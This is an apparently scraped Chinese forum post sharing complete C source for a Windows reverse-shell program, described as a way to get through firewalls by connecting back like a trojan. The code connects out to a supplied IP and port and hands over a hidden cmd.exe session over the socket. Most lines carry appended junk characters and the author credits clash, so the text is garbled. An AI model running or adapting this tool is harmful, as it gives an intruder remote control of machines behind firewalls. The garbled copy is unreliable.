这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 n}p G&&;q
%wD#[<BGn>
/* ============================== yCX5
5:
Rebound port in Windows NT
l\U
Q2i
By wind,2006/7 37bMe@W
===============================*/ 68%aDs
#include *4O=4F)x
#include Wzq
W1<*`
D{9a'0J
#pragma comment(lib,"wsock32.lib") egmUUuO
zcpL[@B
void OutputShell(); u#05`i:Z
SOCKET sClient; (qcFGM22U
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $C16}^
N,t9X7G&
void main(int argc,char **argv) ?7\V)$00(&
{ 1=VyD<dNG6
WSADATA stWsaData; xBHf~:!
int nRet; D#jwI,n}x
SOCKADDR_IN stSaiClient,stSaiServer; = XZU9df
/"m s
if(argc != 3) ET*A0rt
{ .[={Yx0!I
printf("Useage:\n\rRebound DestIP DestPort\n"); FT).$h~+4
return; +in)(a.
} YOxgpQ:i
gt4GN`-k
WSAStartup(MAKEWORD(2,2),&stWsaData); /4{WT?j
ITPE2x
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SX3'|'-
/E>;O47a
stSaiClient.sin_family = AF_INET; ;_sJ>.=\
stSaiClient.sin_port = htons(0); HOW<IZ^
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); BD6!,
[d`Jw/4n
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #83
{ ]+lT*6P*
printf("Bind Socket Failed!\n"); (6%T~|a
return; hzD)yf
} Q\oa<R
D5
"$BkO[IS
stSaiServer.sin_family = AF_INET; }gSoBu
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2OG/0cP
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); f/\!=sa:
8 Ku9;VEk
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &+9 ;
{ &oL"AJU
printf("Connect Error!"); xvGYd,dlK
return; s/1r{;q
} 0%xk tf
OutputShell(); .0Ud?v>=
} 6:_~-xG
a%q,P @8
void OutputShell() %PW-E($o<
{ $W._FAAJ#
char szBuff[1024];
K^{j$
SECURITY_ATTRIBUTES stSecurityAttributes; Aez2n(yac
OSVERSIONINFO stOsversionInfo; 5nPvEN/
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; O:]']' /
STARTUPINFO stStartupInfo; ,#a4P`q'iC
char *szShell; R P{pEd
PROCESS_INFORMATION stProcessInformation; +o+f\!
unsigned long lBytesRead; A;!5c;ftj,
#rHMf%0
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); OPvPP>0*8
@`.4"*@M
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Rsx6vF8]5
stSecurityAttributes.lpSecurityDescriptor = 0; eI-fH
stSecurityAttributes.bInheritHandle = TRUE; QW..=}pL
6Ga'_P:
[[T7s(3
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ``xm##K
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @Y~gdK
DLwlA!z
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); piIZ*@'
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R6~6b&-8
stStartupInfo.wShowWindow = SW_HIDE; PpRS4*nR
stStartupInfo.hStdInput = hReadPipe; G>~/
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5%'ybh)@
e.\>GwM
GetVersionEx(&stOsversionInfo); s$y_(oU,D
_ $PeFE2
switch(stOsversionInfo.dwPlatformId) 5N9Cd[4
{ 3P_.SF
case 1: 1@Ba7>%'
szShell = "command.com"; p5In9s
break; yf{\^^ i(
default: Uahh|>s
szShell = "cmd.exe"; su0K#*P&I
break; ^;II@n
i
} hC-uz _/3
hu-]SGb6
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |E13W
k(f),_
send(sClient,szMsg,77,0); +5fB?0D;
while(1) df{?E):
{ l@4pZkdq
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); e"@r[pq-{u
if(lBytesRead) ~'*23]j
{ CXUF=IE
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); R/u0,
send(sClient,szBuff,lBytesRead,0); [w](x
} 2<7pe@c98
else W{Qb*{9
{ l(Y32]Z
lBytesRead=recv(sClient,szBuff,1024,0); \]Y<d
if(lBytesRead<=0) break; 2tU3p<[
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); S5|7D[*
} 6I[*p0j5
} mI2Gs)SO
|A4B4/!
return; t{,$?}
}